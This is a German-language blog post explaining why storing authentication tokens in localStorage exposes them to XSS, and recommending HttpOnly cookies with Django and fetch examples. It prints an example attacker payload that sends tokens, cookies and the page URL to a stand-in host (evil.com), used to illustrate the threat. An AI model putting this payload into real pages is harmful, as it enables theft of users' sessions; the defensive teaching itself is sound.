Back to Blog
February 18, 20261,000 views

Verzichten Sie auf die Verwendung von localStorage für Authentifizierungstoken: Ein tiefer Einblick in die Sicherheit

Warum das Speichern von JWTs in localStorage eine Sicherheitslücke darstellt, wie XSS-Angriffe diese ausnutzen und wie man Authentifizierungstoken in modernen Webanwendungen korrekt handhabt.

Das Problem, das alle ignorieren

Schau dir irgendein Next.js- oder React-Tutorial zur JWT-Authentifizierung an. In 90 % davon wird dir Folgendes gezeigt:

// DON'T DO THIS
const login = async (credentials) => {
  const res = await fetch('/api/auth/login', { ... });
  const { access_token } = await res.json();
  localStorage.setItem('token', access_token); // <-- VULNERABLE
};

Es handelt sich um eine Cross-Site-Scripting-Sicherheitslücke (XSS). Jedes auf Ihrer Seite ausgeführte JavaScript kann auf „localStorage“ zugreifen. Wenn ein Angreifer auch nur eine einzige Zeile JavaScript einschleust (über ein Skript eines Drittanbieters, einen npm-Supply-Chain-Angriff oder eine nicht maskierte Benutzereingabe), kann er die Authentifizierungstoken aller Benutzer stehlen.

Wie XSS „localStorage“-Token stiehlt

Ein Angreifer muss Ihren Server nicht hacken. Er muss lediglich JavaScript auf Ihrer Seite ausführen:

// Attacker's payload (injected via comment field, ad script, etc.)
new Image().src = 'https://evil.com/steal?token=' 
  + localStorage.getItem('token');

// Or they exfiltrate via fetch
fetch('https://evil.com/collect', {
  method: 'POST',
  body: JSON.stringify({
    token: localStorage.getItem('token'),
    cookies: document.cookie,
    url: window.location.href
  })
});

Häufige XSS-Angriffsvektoren: nicht entflohe „dangerouslySetInnerHTML“-Befehle, kompromittierte npm-Pakete, Analyseskripte oder Chat-Skripte von Drittanbietern sowie benutzergenerierte Inhalte, die als HTML dargestellt werden.

Der richtige Ansatz: HttpOnly-Cookies

Speichern Sie Tokens in HttpOnly-, Secure- und SameSite-Cookies. JavaScript kann HttpOnly-Cookies nicht auslesen – sie werden vom Browser automatisch mit jeder Anfrage gesendet.

# Django backend: set token as HttpOnly cookie
from django.http import JsonResponse

def login_view(request):
    user = authenticate(request)
    access_token = generate_jwt(user)
    refresh_token = generate_refresh_token(user)
    
    response = JsonResponse({'user': serialize(user)})
    
    # HttpOnly: JavaScript can't read it (XSS safe)
    # Secure: only sent over HTTPS
    # SameSite=Lax: prevents CSRF on most requests
    response.set_cookie(
        'access_token', access_token,
        httponly=True,
        secure=True,
        samesite='Lax',
        max_age=15 * 60,  # 15 minutes
        path='/',
    )
    response.set_cookie(
        'refresh_token', refresh_token,
        httponly=True,
        secure=True,
        samesite='Lax',
        max_age=7 * 24 * 60 * 60,  # 7 days
        path='/api/auth/refresh/',  # only sent to refresh endpoint
    )
    return response

Frontend: Keine Token-Verwaltung erforderlich

Bei HttpOnly-Cookies greift das Frontend überhaupt nicht auf die Tokens zu. Der Browser übernimmt die gesamte Abwicklung:

// Frontend: cookies are sent automatically
const getProfile = async () => {
  const res = await fetch('/api/profile/', {
    credentials: 'include',  // include cookies
  });
  return res.json();
};

// No localStorage, no token parsing, no auth headers
// The browser sends the HttpOnly cookie automatically

Vergleich: localStorage vs. HttpOnly-Cookies

AngriffsvektorlocalStorageHttpOnly-Cookie
XSS (Skript-Injektion)Token gestohlenToken-Sicherung (JS kann nicht lesen)
CSRF (Cross-Site-Request-Forgery)Sicher (wird nicht automatisch versendet)Geschützt durch SameSite=Lax
npm-LieferkettenangriffToken gestohlenToken-Safe
Zugriff auf Browser-ErweiterungenToken lesbarToken ausgeblendet
Netzwerk-SniffingWenn im Header gesendet: sichtbarSicherheitsflag: Nur HTTPS

Was ist mit CSRF?

Das häufigste Argument für localStorage lautet: „Cookies sind anfällig für CSRF.“ Das traf vor zehn Jahren zu. Moderne Browser unterstützen „SameSite=Lax“, wodurch die Übermittlung von Cookies bei domänenübergreifenden Anfragen blockiert wird. In Kombination mit Djangos CSRF-Middleware für zustandsändernde Anfragen wird CSRF damit praktisch ausgeschlossen.

Verwenden Sie zur zusätzlichen Sicherheit das „Double-Submit“-Cookie-Muster: Der Server setzt ein CSRF-Token-Cookie, das nicht als „HttpOnly“ gekennzeichnet ist, das Frontend liest dieses Cookie aus und sendet es als Header, und der Server überprüft, ob beide übereinstimmen.

Fazit

Wenn Sie im Jahr 2026 eine Authentifizierung implementieren, sollten Sie HttpOnly-Cookies verwenden. Die Angriffsfläche für XSS-Angriffe bei localStorage ist zu groß, insbesondere bei modernen Apps, die Dutzende von Skripten von Drittanbietern laden. Die Sitzungen Ihrer Nutzer hängen davon ab.

Sicherheit ist keine Funktion, die man nachträglich hinzufügt. Die Entscheidung zwischen „localStorage“- und „HttpOnly“-Cookies macht den Unterschied zwischen „Wir wurden gehackt“ und „Der Angriff wurde abgewehrt“.

— OWASP-Spickzettel zur Authentifizierung